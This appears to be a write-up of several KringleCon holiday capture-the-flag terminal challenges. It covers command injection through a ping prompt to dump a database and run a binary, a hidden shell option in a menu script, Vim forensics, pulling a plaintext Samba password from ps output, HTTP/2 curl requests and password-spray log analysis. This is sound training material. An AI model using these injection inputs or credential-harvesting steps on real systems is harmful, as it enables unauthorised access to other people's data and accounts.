Validating data store for employee onboard information. Enter address of server: & sqlite3 onboard.db .dump Usage: ping [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface] [-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos] [-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option] [-w deadline] [-W timeout] [hop1 ...] destination PRAGMA foreign_keys=OFF; BEGIN TRANSACTION; CREATE TABLE onboard ( id INTEGER PRIMARY KEY, fname TEXT NOT NULL, lname TEXT NOT NULL, street1 TEXT, street2 TEXT, city TEXT, postalcode TEXT, phone TEXT, email TEXT ); INSERT INTO "onboard" VALUES(10,'Karen','Duck','52 Annfield Rd',NULL,'BEAL','DN14 7AU','077 8656 6609','karensduck@einrot.com'); INSERT INTO "onboard" VALUES(11,'Josephine','Harrell','3 Victoria Road',NULL,'LITTLE ASTON','B74 8XD','079 5532 7917','josephinedharrell@einrot.com'); INSERT INTO "onboard" VALUES(12,'Jason','Madsen','4931 Cliffside Drive',NULL,'Worcester','12197','607-397-0037','jasonlmadsen@einrot.com'); INSERT INTO "onboard" VALUES(13,'Nichole','Murphy','53 St. John Street',NULL,'Craik','S4P 3Y2','306-734-9091','nicholenmurphy@teleworm.us'); INSERT INTO "onboard" VALUES(14,'Mary','Lyons','569 York Mills Rd',NULL,'Toronto','M3B 1Y2','416-274-6639','maryjlyons@superrito.com'); ...
Success! But it's hard to find Chan in all of that. Let's see if we can pass our output to the grep
command, returning only lines that contain "Chan."
Validating data store for employee onboard information. Enter address of server: & sqlite3 onboard.db .dump | grep Chan Usage: ping [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface] [-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos] [-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option] [-w deadline] [-W timeout] [hop1 ...] destination INSERT INTO "onboard" VALUES(84,'Scott','Chan','48 Colorado Way',NULL,'Los Angeles','90067','4017533509','scottmchan90067@gmail.com'); onboard.db: SQLite 3.x database Press Enter to continue...:
Great. We now have one final hurdle – we need to call runtoanswer
and answer the question. The same technique works there too:
Validating data store for employee onboard information. Enter address of server: & ./runtoanswer Usage: ping [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface] [-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos] [-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option] [-w deadline] [-W timeout] [hop1 ...] destination Loading, please wait...... Enter Mr. Chan's first name: Scott .;looooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooool:' 'ooooooooooookOOooooxOOdodOOOOOOOdoxOOdoooooOOkoooooooxO000Okdooooooooooooo; 'oooooooooooooXMWooooOMMxodMMNKKKKxoOMMxoooooWMXoooookNMWK0KNMWOooooooooooooo; :oooooooooooooXMWooooOMMxodMM0ooooooOMMxoooooWMXooooxMMKoooooKMMkooooooooooooo coooooooooooooXMMMMMMMMMxodMMWWWW0ooOMMxoooooWMXooooOMMkoooookMM0ooooooooooooo coooooooooooooXMWdddd0MMxodMM0ddddooOMMxoooooWMXooooOMMOoooooOMMkooooooooooooo coooooooooooooXMWooooOMMxodMMKxxxxdoOMMOkkkxoWMXkkkkdXMW0xxk0MMKoooooooooooooo cooooooooooooo0NXooookNNdodXNNNNNNkokNNNNNNOoKNNNNNXookKNNWNXKxooooooooooooooo cooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo cooooooooooooooooooooooooooooooooooMYcNAMEcISooooooooooooooooooooooooooooooooo cddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddo OMMMMMMMMMMMMMMMNXXWMMMMMMMNXXWMMMMMMWXKXWMMMMWWWWWWWWWMWWWWWWWWWMMMMMMMMMMMMW OMMMMMMMMMMMMW: .. ;MMMk' .NMX:. . .lWO d xMMMMMMMMMMMW OMMMMMMMMMMMMo OMMWXMMl lNMMNxWK ,XMMMO .MMMM. .MMMMMMM, .MMMMMMMMMMMMMMMW OMMMMMMMMMMMMX. .cOWMN 'MMMMMMM; WMMMMMc KMMM. .MMMMMMM, .MMMMMMMMMMMMMMMW OMMMMMMMMMMMMMMKo, KN ,MMMMMMM, WMMMMMc KMMM. .MMMMMMM, .MMMMMMMMMMMMMMMW OMMMMMMMMMMMMKNMMMO oM, dWMMWOWk cWMMMO ,MMMM. .MMMMMMM, .MMMMMMMMMMMMMMMW OMMMMMMMMMMMMc ... cWMWl. .. .NMk. .. .oMMMMM. .MMMMMMM, .MMMMMMMMMMMMMMMW xXXXXXXXXXXXXXKOxk0XXXXXXX0kkkKXXXXXKOkxkKXXXXXXXKOKXXXXXXXKO0XXXXXXXXXXXXXXXK .oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo, .looooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo, .,cllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllc;. Congratulations! onboard.db: SQLite 3.x database Press Enter to continue...:
Answer:
Scott
This was classic command injection. There were a few other techniques that could've worked here, including using a semicolon instead of the ampersand (e.g. ; ./runtoanswer
).
We also discovered that the menu.ps1
script had an unlisted option:
Show-Menu $input = Read-Host 'Please make a selection' switch ($input) { '1' { cls Employee-Onboarding-Form } '2' { cls Write-Host "Validating data store for employee onboard information." $server = Read-Host 'Enter address of server' /bin/bash -c "/bin/ping -c 3 $server" /bin/bash -c "/usr/bin/file onboard.db" } '9' { /usr/bin/pwsh return } 'q' { return } default { Write-Host "Invalid entry." } } pause
Hitting option 9 drops us into a Powershell shell:
Please make a selection: 9 PowerShell v6.0.3 Copyright (c) Microsoft Corporation. All rights reserved. https://aka.ms/pscore6-docs Type 'help' to get help. PS /home/elf> ./runtoanswer Loading, please wait......
Summary
The onboarding Powershell script was vulnerable to command
injection. By running a command to dump the database, we found our
guy, and were able to successfully call
runtoanswer
. Furthermore, by inspecting the Powershell source
code, we discovered a hidden backdoor in the menu.
Vim ForensicELFification
Goal
Find the first name of the elf of whom a love poem was written.
Background
- Elf Chat
Tangle Coalbox helps us by saying:
Hi, I'm Tangle Coalbox.
Any chance you can help me with an investigation?
Elf Resources assigned me to look into a case, but it seems to require digital forensic skills.
Do you know anything about Linux terminal editors and digital traces they leave behind?
Apparently editors can leave traces of data behind, but where and how escapes me!
- Badge Hint
Tangle also suggests the following site: Forensic Relevance of Vim Artifacts
- Relevant KringleCon Videos
None
Intro
When we open the terminal, we see:
Christmas is coming, and so it would seem, ER (Elf Resources) crushes elves' dreams. One tells me she was disturbed by a bloke. He tells me this must be some kind of joke. Please do your best to determine what's real. Has this jamoke, for this elf, got some feels? Lethal forensics ain't my cup of tea; If YOU can fake it, my hero you'll be. One more quick note that might help you complete, Clearing this mess up that's now at your feet. Certain text editors can leave some clue. Did our young Romeo leave one for you? - Tangle Coalbox, ER Investigator Find the first name of the elf of whom a love poem was written. Complete this challenge by submitting that name to runtoanswer.
Solution
This one seems pretty straightforward. We have a single hint, and
the hint only discusses the importance of the .viminfo
file. Let's take a look at that, but before we do anything, we
want to do two things: Look at the metadata, and copy the file so
that we don't accidentally modify it (by opening vim, say):
elf@viminfo:~$ stat .viminfo > .viminfo_metadata elf@viminfo:~$ cp .viminfo .viminfo.original elf@viminfo:~$ cat .viminfo_metadata File: .viminfo Size: 5063 Blocks: 16 IO Block: 4096 regular file Device: 801h/2049d Inode: 424344 Links: 1 Access: (0644/-rw-r--r--) Uid: ( 1000/ elf) Gid: ( 1000/ elf) Access: 2018-12-14 16:13:20.000000000 +0000 Modify: 2018-12-14 16:13:20.000000000 +0000 Change: 2018-12-16 00:28:58.687164035 +0000 Birth: -
To start, we need to figure out what love poem was written. The "Forensic Relevance of Vim Artifacts" web page has this to say:
File marks are among the last items in most .viminfo files and essentially consist of a list of files that have been opened with Vim. A ‘mark’ allows a user to record their location in a file they were editing, like a bookmark of sorts, which they can jump back to. On Linux systems, the “History of marks within files” section of .viminfo records the last 20 files that were opened using the Vim editor, along with their file path (relative to the user) and epoch timestamp.
As we view the .viminfo.original
file, it's fairly obvious that only one file was recently opened:
# History of marks within files (newest to oldest): > ~/.secrets/her/poem.txt * 1536607217 0 " 34 2 ^ 24 57 . 20 0 ...
Opening up ~./secrets/her/poem.txt
:
Once upon a sleigh so weary, Morcel scrubbed the grime so dreary,
Shining many a beautiful sleighbell bearing cheer and sound so pure–
There he cleaned them, nearly napping, suddenly there came a tapping,
As of someone gently rapping, rapping at the sleigh house door.
"'Tis some caroler," he muttered, "tapping at my sleigh house door–
Only this and nothing more."
Then, continued with more vigor, came the sound he didn't figure,
Could belong to one so lovely, walking 'bout the North Pole grounds.
But the truth is, she WAS knocking, 'cause with him she would be talking,
Off with fingers interlocking, strolling out with love newfound?
Gazing into eyes so deeply, caring not who sees their rounds.
Oh, 'twould make his heart resound!
Hurried, he, to greet the maiden, dropping rag and brush - unlaiden.
Floating over, more than walking, moving toward the sound still knocking,
Pausing at the elf-length mirror, checked himself to study clearer,
Fixing hair and looking nearer, what a hunky elf - not shocking!
Peering through the peephole smiling, reaching forward and unlocking:
NEVERMORE in tinsel stocking!
Greeting her with smile dashing, pearly-white incisors flashing,
Telling jokes to keep her laughing, soaring high upon the tidings,
Of good fortune fates had borne him. Offered her his dexter forelimb,
Never was his future less dim! Should he now consider gliding–
No - they shouldn't but consider taking flight in sleigh and riding
Up above the Pole abiding?
Smile, she did, when he suggested that their future surely rested,
Up in flight above their cohort flying high like ne'er before!
So he harnessed two young reindeer, bold and fresh and bearing no fear.
In they jumped and seated so near, off they flew - broke through the door!
Up and up climbed team and humor, Morcel being so adored,
By his lovely NEVERMORE!
-Morcel Nougat
NEVERMORE
seems like an odd name for an elf, and submitting this to runtoanswer
yields:
Who was the poem written about? NEVERMORE Sorry, I don't think that's what the forensic data shows.
Returning to our .viminfo
file, we see:
# Last Substitute Search Pattern: ~MSle0~&Elinore # Last Substitute String: $NEVERMORE # Command Line History (newest to oldest): :wq |2,0,1536607231,,"wq" :%s/Elinore/NEVERMORE/g |2,0,1536607217,,"%s/Elinore/NEVERMORE/g"
It seems like our elf did a find-and-replace on "Elinore," replacing all instances with "NEVERMORE."
elf@viminfo:~$ ./runtoanswer Loading, please wait...... Who was the poem written about? Elinore WWNXXK00OOkkxddoolllcc::;;;,,,'''............. WWNXXK00OOkkxddoolllcc::;;;,,,'''............. WWNXXK00OOkkxddoolllcc::;;;,,,'''............. WWNXXKK00OOOxddddollcccll:;,;:;,'...,,.....'',,''. ....... .'''''' WWNXXXKK0OOkxdxxxollcccoo:;,ccc:;...:;...,:;'...,:;. ,,....,,. ::'.... WWNXXXKK0OOkxdxxxollcccoo:;,cc;::;..:;..,::... ;:, ,,. .,,. ::'... WWNXXXKK0OOkxdxxxollcccoo:;,cc,';:;':;..,::... ,:; ,,,',,' ::,'''. WWNXXXK0OOkkxdxxxollcccoo:;,cc,'';:;:;..'::'.. .;:. ,,. ',' ::. WWNXXXKK00OOkdxxxddooccoo:;,cc,''.,::;....;:;,,;:,. ,,. ',' ::;;;;; WWNXXKK0OOkkxdddoollcc:::;;,,,'''............... WWNXXK00OOkkxddoolllcc::;;;,,,'''............. WWNXXK00OOkkxddoolllcc::;;;,,,'''............. Thank you for solving this mystery, Slick. Reading the .viminfo sure did the trick. Leave it to me; I will handle the rest. Thank you for giving this challenge your best. -Tangle Coalbox -ER Investigator Congratulations!
Answer:
Elinore
We actually see a bit more history in the .viminfo
file:
elf@viminfo:~$ grep '/g' .viminfo.original :%s/Elinore/NEVERMORE/g |2,0,1536607217,,"%s/Elinore/NEVERMORE/g" :s/God/fates/gc |2,0,1536606833,,"s/God/fates/gc" :%s/studied/looking/g |2,0,1536602549,,"%s/studied/looking/g" :%s/sound/tenor/g |2,0,1536600579,,"%s/sound/tenor/g"
We can use sed
to reverse some of these changes. Though, if we
replace "tenor" with "sound," to undo the earliest change, we have
no way of knowing which instances of "tenor" were there
originally:
sed -e 's/tenor/sound/g' -e 's/looking/studied/g' -e 's/fates/God/gi' -e 's/NEVERMORE/Elinore/g' .secrets/her/poem.txt
And we recover the following poem:
Once upon a sleigh so weary, Morcel scrubbed the grime so dreary,
Shining many a beautiful sleighbell bearing cheer and sound so pure–
There he cleaned them, nearly napping, suddenly there came a tapping,
As of someone gently rapping, rapping at the sleigh house door.
"'Tis some caroler," he muttered, "tapping at my sleigh house door–
Only this and nothing more."
Then, continued with more vigor, came the sound he didn't figure,
Could belong to one so lovely, walking 'bout the North Pole grounds.
But the truth is, she WAS knocking, 'cause with him she would be talking,
Off with fingers interlocking, strolling out with love newfound?
Gazing into eyes so deeply, caring not who sees their rounds.
Oh, 'twould make his heart resound!
Hurried, he, to greet the maiden, dropping rag and brush - unlaiden.
Floating over, more than walking, moving toward the sound still knocking,
Pausing at the elf-length mirror, checked himself to study clearer,
Fixing hair and studied nearer, what a hunky elf - not shocking!
Peering through the peephole smiling, reaching forward and unlocking:
Elinore in tinsel stocking!
Greeting her with smile dashing, pearly-white incisors flashing,
Telling jokes to keep her laughing, soaring high upon the tidings,
Of good fortune God had borne him. Offered her his dexter forelimb,
Never was his future less dim! Should he now consider gliding–
No - they shouldn't but consider taking flight in sleigh and riding
Up above the Pole abiding?
Smile, she did, when he suggested that their future surely rested,
Up in flight above their cohort flying high like ne'er before!
So he harnessed two young reindeer, bold and fresh and bearing no fear.
In they jumped and seated so near, off they flew - broke through the door!
Up and up climbed team and humor, Morcel being so adored,
By his lovely Elinore!
-Morcel Nougat
Summary
For this terminal, the hint was a big help. By looking at the
.viminfo
file, we could reconstruct the changes made to the
file, and learned that someone had replaced Elinore's name with
NEVERMORE.
Samba Mucking Report
Goal
Complete this challenge by uploading the elf's report.txt
file to the samba share at //localhost/report-upload/
.
Background
- Elf Chat
Wunorse tells us:
What was that password?
Golly, passwords may be the end of all of us. Good guys can't remember them, and bad guess can guess them!
I've got to upload my chore report to my manager's inbox, but I can't remember my password.
Still, with all the automated tasks we use, I'll bet there's a way to find it in memory…
- Badge Hint
Talking to Wunorse unlocks the following hint in our badge: Keeping Command Line Passwords Out of PS
- Relevant KringleCon Videos
None
Intro
Opening the terminal, we're greeted with:
Thank you Madam or Sir for the help that you bring! I was wondering how I might rescue my day. Finished mucking out stalls of those pulling the sleigh, My report is now due or my KRINGLE's in a sling! There's a samba share here on this terminal screen. What I normally do is to upload the file, With our network credentials (we've shared for a while). When I try to remember, my memory's clean! Be it last night's nog bender or just lack of rest, For the life of me I can't send in my report. Could there be buried hints or some way to contort, Gaining access - oh please now do give it your best! -Wunorse Openslae Complete this challenge by uploading the elf's report.txt file to the samba share at //localhost/report-upload/
Solution
The hint links us to a page that discusses risks when passwords
are passed on the command line, such as being able to view it with
the process status command ps
. Let's try it:
elf@plaintext-creds:~$ ps PID TTY TIME CMD 19 pts/0 00:00:00 bash 73 pts/0 00:00:00 ps
Not a whole lot of information. By default, ps
only shows us a
couple of fields, and only for processes we own (and our
associated with our current terminal). We can read ps
's manual page with man ps
, which has the following snippet:
SIMPLE PROCESS SELECTION a Lift the BSD-style "only yourself" restriction...
Let's try it:
elf@plaintext-creds:~$ ps a PID TTY STAT TIME COMMAND 1 pts/0 Ss 0:00 /bin/bash /sbin/init 10 pts/0 S 0:00 sudo -u manager /home/manager/samba-wrapper.sh --verbosity=none --no-check-certificate --extraneous-command-argument --do-not-run-as-tyler --accept-sage-advice -a 42 -d~ --ignore-sw-holiday-special - 11 pts/0 S 0:00 sudo -E -u manager /usr/bin/python /home/manager/report-check.py 15 pts/0 S 0:00 /usr/bin/python /home/manager/report-check.py 16 pts/0 S 0:00 /bin/bash /home/manager/samba-wrapper.sh --verbosity=none --no-check-certificate --extraneous-command-argument --do-not-run-as-tyler --accept-sage-advice -a 42 -d~ --ignore-sw-holiday-special --suppr 18 pts/0 S 0:00 sudo -u elf /bin/bash 19 pts/0 S 0:00 /bin/bash 117 pts/0 S 0:00 sleep 60 135 pts/0 R+ 0:00 ps a
That looks better. We can see there's a samba-wrapper.sh
process, and a report-check.py
process. The samba-wrapper
process is particularly interesting, as it seems to have a bunch
of command-line arguments. However, by default, ps
truncates
them to the width of our terminal. Simple solution: zoom out our
browser window.
elf@plaintext-creds:~$ ps a PID TTY STAT TIME COMMAND 1 pts/0 Ss 0:00 /bin/bash /sbin/init 10 pts/0 S 0:00 sudo -u manager /home/manager/samba-wrapper.sh --verbosity=none --no-check-certificate --extraneous-command-argument --do-not-run-as-tyler --accept-sage-advice -a 42 -d~ --ignore-sw-holiday-special --suppress --suppress //localhost/report-upload/ directreindeerflatterystable -U report-upload 11 pts/0 S 0:00 sudo -E -u manager /usr/bin/python /home/manager/report-check.py 15 pts/0 S 0:00 /usr/bin/python /home/manager/report-check.py 16 pts/0 S 0:00 /bin/bash /home/manager/samba-wrapper.sh --verbosity=none --no-check-certificate --extraneous-command-argument --do-not-run-as-tyler --accept-sage-advice -a 42 -d~ --ignore-sw-holiday-special --suppress --suppress //localhost/report-upload/ directreindeerflatterystable -U report-upload 18 pts/0 S 0:00 sudo -u elf /bin/bash 19 pts/0 S 0:00 /bin/bash 137 pts/0 S 0:00 sleep 60 140 pts/0 R+ 0:00 ps a
The end of the command is //localhost/report-upload/ directreindeerflatterystable -U report-upload
. A less hacky solution is to use more ps
arguments to see the entire command:
OUTPUT MODIFIERS … –cols n Set screen width.
elf@plaintext-creds:~$ ps a --columns 500 PID TTY STAT TIME COMMAND 1 pts/0 Ss 0:00 /bin/bash /sbin/init 10 pts/0 S 0:00 sudo -u manager /home/manager/samba-wrapper.sh --verbosity=none --no-check-certificate --extraneous-command-argument --do-not-run-as-tyler --accept-sage-advice -a 42 -d~ --ignore-sw-holiday-special --suppress --suppr ess //localhost/report-upload/ directreindeerflatterystable -U report-upload ...
At this point, we suspect that "directreindeerflatterystable" is our password. Now we need to figure out how to copy it to the //localhost/report-upload/
SMB share. Some Googling points us to the smbclient
command:
elf@plaintext-creds:~$ smbclient -h Usage: smbclient ... [-U|--user=USERNAME] ... service <password>
smbclient
has a lot of options, but as we parse the usage information, it seems like the snippet recoverd from the end of samba-wrapper.sh
should just work:
elf@plaintext-creds:~$ smbclient //localhost/report-upload/ directreindeerflatterystable -U report-upload Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.5.12-Debian] smb: \> pwd Current directory is \\localhost\report-upload\
Uploading the report is as simple as:
smb: \> put report.txt putting file report.txt as \report.txt (250.5 kb/s) (average 250.5 kb/s)
Once we do so, the following happens:
smb: \> Terminated elf@plaintext-creds:~$ .;;;;;;;;;;;;;;;' ,NWOkkkkkkkkkkkkkkNN; ..KM; Stall Mucking ,MN.. OMNXNMd. .oMWXXM0. ;MO l0NNNNNNNNNNNNNNN0o xMc :MO xMl '. :MO dOOOOOOOOOOOOOOOOOd. xMl :l:. .cc::::::::;;;;;;;;;;;,oMO .0NNNNNNNNNNNNNNNNN0. xMd,,,,,,,,,,,,,clll:. 'kkkkxxxxxddddddoooooooxMO ..'''''''''''. xMkcccccccllllllllllooc. 'kkkkxxxxxddddddoooooooxMO .MMMMMMMMMMMMMM, xMkcccccccllllllllllooool 'kkkkxxxxxddddddoooooooxMO '::::::::::::, xMkcccccccllllllllllool, .ooooollllllccccccccc::dMO xMx;;;;;::::::::lllll' :MO .ONNNNNNNNXk xMl :lc' :MO dOOOOOOOOOo xMl ;. :MO 'cccccccccccccc:' xMl :MO .WMMMMMMMMMMMMMMMW. xMl :MO ............... xMl .NWxddddddddddddddddddddddddNW' ;ccccccccccccccccccccccccc; You have found the credentials I just had forgot, And in doing so you've saved me trouble untold. Going forward we'll leave behind policies old, Building separate accounts for each elf in the lot. -Wunorse Openslae
Summary
We ran ps
, with some extra arguments to see all of the command-line arguments, and recovered the username and password for the SMB share. We then copied the report to the share with smbclient
.
HTTP2 CURLing Master
Goal
Complete this challenge by submitting the right HTTP request to the server at http://localhost:8080/ to get the candy striper started again.
Background
- Elf Chat
Holly has the following plight:
Oh that Bushy!
Sorry to vent, but that brother of mine did something strange.
The trigger to restart the Candy Striper is apparently an arcane HTTP call or 2.
I sometimes wonder if all IT folk do strange things with their home networks…
- Badge Hint
Holly links us to: HTTP/2.0 Basics
- Relevant KringleCon Videos
Intro
Once we open the terminal, we see a curling stone and the following message:
I am Holly Evergreen, and now you won't believe: Once again the striper stopped; I think I might just leave! Bushy set it up to start upon a website call. Darned if I can CURL it on - my Linux skills apall. Could you be our CURLing master - fixing up this mess? If you are, there's one concern you surely must address. Something's off about the conf that Bushy put in place. Can you overcome this snag and save us all some face? Complete this challenge by submitting the right HTTP request to the server at http://localhost:8080/ to get the candy striper started again. You may view the contents of the nginx.conf file in /etc/nginx/, if helpful.
Solution
The terminal tells us to check out /etc/nginx/nginx.conf
, so we
do that. The following comment catches our attention:
server { # love using the new stuff! -Bushy listen 8080 http2; # server_name localhost 127.0.0.1; root /var/www/html;
The web server has HTTP2 enabled. We read the page that Holly
linked us to, but what we're really looking for is how to use the
curl
command with HTTP2. Chris Elgee's video gives us the following
command, which we've adapted for our server running on localhost,
port 8080:
elf@http2:~$ curl -v --http2 http://localhost:8080/ * Trying 127.0.0.1... * TCP_NODELAY set * Connected to localhost (127.0.0.1) port 8080 (#0) > GET / HTTP/1.1 > Host: localhost:8080 > User-Agent: curl/7.52.1 > Accept: */* > Connection: Upgrade, HTTP2-Settings > Upgrade: h2c > HTTP2-Settings: AAMAAABkAARAAAAA > * Curl_http_done: called premature == 0
Well, that didn't work. Let's try to find out more about the --http2
flag. We can run curl --help
, and see:
--http2 Use HTTP 2 (H) --http2-prior-knowledge Use HTTP 2 without HTTP/1.1 Upgrade (H)
Let's try doing it without the HTTP/1.1 upgrade:
elf@http2:~$ curl -v --http2-prior-knowledge http://localhost:8080/ * Trying 127.0.0.1... * TCP_NODELAY set * Connected to localhost (127.0.0.1) port 8080 (#0) * Using HTTP2, server supports multi-use * Connection state changed (HTTP/2 confirmed) * Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0 * Using Stream ID: 1 (easy handle 0x55e0a5cbedc0) > GET / HTTP/1.1 > Host: localhost:8080 > User-Agent: curl/7.52.1 > Accept: */* > * Connection state changed (MAX_CONCURRENT_STREAMS updated)! < HTTP/2 200 < server: nginx/1.10.3 < date: Sat, 12 Jan 2019 21:06:41 GMT < content-type: text/html; charset=UTF-8 < <html> <head> <title>Candy Striper Turner-On'er</title> </head> <body> <p>To turn the machine on, simply POST to this URL with parameter "status=on" </body> </html> * Curl_http_done: called premature == 0 * Connection #0 to host localhost left intact
Ok! Now, instead of sending an empty GET, we need to send a POST with the right paramter. Once again, we'll return to the help output:
-d, --data DATA HTTP POST data (H)
Easy enough:
elf@http2:~$ curl -v --http2-prior-knowledge --data 'status=on' http://localhost:8080/ * Trying 127.0.0.1... * TCP_NODELAY set * Connected to localhost (127.0.0.1) port 8080 (#0) * Using HTTP2, server supports multi-use * Connection state changed (HTTP/2 confirmed) * Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0 * Using Stream ID: 1 (easy handle 0x563dc369cdc0) > POST / HTTP/1.1 > Host: localhost:8080 > User-Agent: curl/7.52.1 > Accept: */* > Content-Length: 9 > Content-Type: application/x-www-form-urlencoded > * Connection state changed (MAX_CONCURRENT_STREAMS updated)! * We are completely uploaded and fine < HTTP/2 200 < server: nginx/1.10.3 < date: Sat, 12 Jan 2019 21:08:29 GMT < content-type: text/html; charset=UTF-8 < <html> <head> <title>Candy Striper Turner-On'er</title> </head> <body> <p>To turn the machine on, simply POST to this URL with parameter "status=on" okkd, OXXXXX, oXXXXXXo ;XXXXXXX; ;KXXXXXXx oXXXXXXXO .lKXXXXXXX0. '''''' .'''''' .'''''' .:::; ':okKXXXXXXXX0Oxcooddool, 'MMMMMO',,,,,;WMMMMM0',,,,,;WMMMMMK',,,,,,occccoOXXXXXXXXXXXXXxxXXXXXXXXXXX. 'MMMMN;,,,,,'0MMMMMW;,,,,,'OMMMMMW:,,,,,'kxcccc0XXXXXXXXXXXXXXxx0KKKKK000d; 'MMMMl,,,,,,oMMMMMMo,,,,,,lMMMMMMd,,,,,,cMxcccc0XXXXXXXXXXXXXXOdkO000KKKKK0x. 'MMMO',,,,,;WMMMMMO',,,,,,NMMMMMK',,,,,,XMxcccc0XXXXXXXXXXXXXXxxXXXXXXXXXXXX: 'MMN,,,,,,'OMMMMMW;,,,,,'kMMMMMW;,,,,,'xMMxcccc0XXXXXXXXXXXXKkkxxO00000OOx;. 'MMl,,,,,,lMMMMMMo,,,,,,cMMMMMMd,,,,,,:MMMxcccc0XXXXXXXXXXKOOkd0XXXXXXXXXXO. 'M0',,,,,;WMMMMM0',,,,,,NMMMMMK,,,,,,,XMMMxcccckXXXXXXXXXX0KXKxOKKKXXXXXXXk. .c.......'cccccc.......'cccccc.......'cccc:ccc: .c0XXXXXXXXXX0xO0000000Oc ;xKXXXXXXX0xKXXXXXXXXK. ..,:ccllc:cccccc:' Unencrypted 2.0? He's such a silly guy. That's the kind of stunt that makes my OWASP friends all cry. Truth be told: most major sites are speaking 2.0; TLS connections are in place when they do so. -Holly Evergreen <p>Congratulations! You've won and have successfully completed this challenge. <p>POSTing data in HTTP/2.0. </body> </html> * Curl_http_done: called premature == 0 * Connection #0 to host localhost left intact
Alternative solution
This system had some interesting commands in the bash history:
elf@http2:~$ grep curl .bash_history curl --http2-prior-knowledge http://localhost:8080/index.php
Summary
We found a comment from Bushy in the nginx
config, which told us
that HTTP2 was enabled on this system. Using a combination of
Chris Elgee's talk and the curl help output, we figured out the
correct parameters to have curl be able to send the request as
HTTP2 (without trying to HTTP/1.1 and doing an upgrade to HTTP2
first). Then, the output from the page told us that we needed to
submit a POST request, with status=on
.
Windows Yule Log Analysis
Goal
Submit the compromised webmail username to runtoanswer to complete this challenge.
Background
- Elf Chat
Pepper Minstix tells us:
Have you heard of password spraying? It seems we've been victim.
We fear that they were successful in accessing one of our Elf Web Access accounts, but we don't know which one.
Parsing through .evtx files can be tricky, but there's a Python script that can help you convert it into XML for easier grep'ing.
- Badge Hint
Pepper promptly points password penetration people to Password Spraying.
- Relevant KringleCon Videos
Intro
When we start the Cranberry Pi, we get the following message:
I am Pepper Minstix, and I'm looking for your help. Bad guys have us tangled up in pepperminty kelp! "Password spraying" is to blame for this our grinchly fate. Should we blame our password policies which users hate? Here you'll find a web log filled with failure and success. One successful login there requires your redress. Can you help us figure out which user was attacked? Tell us who fell victim, and please handle this with tact... Submit the compromised webmail username to runtoanswer to complete this challenge.
Checking our home directory, we see:
elf@spray-detect:~$ ls evtx_dump.py ho-ho-no.evtx runtoanswer
evtx_dump.py
must be the Python script Pepper was referring to, for converting ho-ho-no.evtx
to XML.
Solution
First, we figure out how to run evtx_dump.py
:
elf@spray-detect:~$ python evtx_dump.py usage: evtx_dump.py [-h] evtx evtx_dump.py: error: too few arguments elf@spray-detect:~$ python evtx_dump.py ho-ho-no.evtx <?xml version="1.1" encoding="utf-8" standalone="yes" ?> <Events> <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"><System><Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-a5ba-3e3b0328c30d}"></Provider> <EventID Qualifiers="">4647</EventID> <Version>0</Version> <Level>0</Level> <Task>12545</Task> <Opcode>0</Opcode> <Keywords>0x8020000000000000</Keywords> ...
Next, we'll save the XML version to a file, so we're not waiting on the Python script to re-parse the events each time.
elf@spray-detect:~$ python evtx_dump.py ho-ho-no.evtx > ho-ho-no.xml
At this point, we follow along in Beau's video. We learn that password spraying involves trying a single password across a large number of accounts. That way, account lockout polices don't trigger. He also mentions that a good way to try this is via e-mail servers like OWA, using his tool, MailSniper. Given that Pepper's hint is about MailSniper, we suspect that this is likely the vector being used.
Taking a closer look at our logs, we see events such as:
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"> <System> <Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-a5ba-3e3b0328c30d}"></Provider> <EventID Qualifiers="">4647</EventID> <Version>0</Version> <Level>0</Level> <Task>12545</Task> <Opcode>0</Opcode> <Keywords>0x8020000000000000</Keywords> <TimeCreated SystemTime="2018-09-10 12:18:26.972103"></TimeCreated> <EventRecordID>231712</EventRecordID> <Correlation ActivityID="{fd18dc13-48f8-0001-58dc-18fdf848d401}" RelatedActivityID=""></Correlation> <Execution ProcessID="660" ThreadID="752"></Execution> <Channel>Security</Channel> <Computer>WIN-KCON-EXCH16.EM.KRINGLECON.COM</Computer> <Security UserID=""></Security> </System> <EventData> <Data Name="TargetUserSid">S-1-5-21-25059752-1411454016-2901770228-500</Data> <Data Name="TargetUserName">Administrator</Data> <Data Name="TargetDomainName">EM.KRINGLECON</Data> <Data Name="TargetLogonId">0x0000000000969b09</Data> </EventData> </Event>
Let's start by seeing which systems we have log data from. To do
this, we'll use the grep
command, to only return lines from the
file which match our search term, and then we'll use the pipe (|
)
operator to pass those lines to sort
. Finally, we'll pass the
sorted lines to the uniq
("unique") command, which will only
print a line if it's different from the line above it. sort
and
uniq
are often used together in this way, since uniq
only
compares the line to the line above it when deciding whether or
not to print it.
elf@spray-detect:~$ grep '<Computer>' ho-ho-no.xml | sort | uniq
<Computer>WIN-KCON-EXCH16.EM.KRINGLECON.COM</Computer>
We only have logs from a single system, which we suspect to be an Exchange Server 2016 from its hostname. Let's see what events we have:
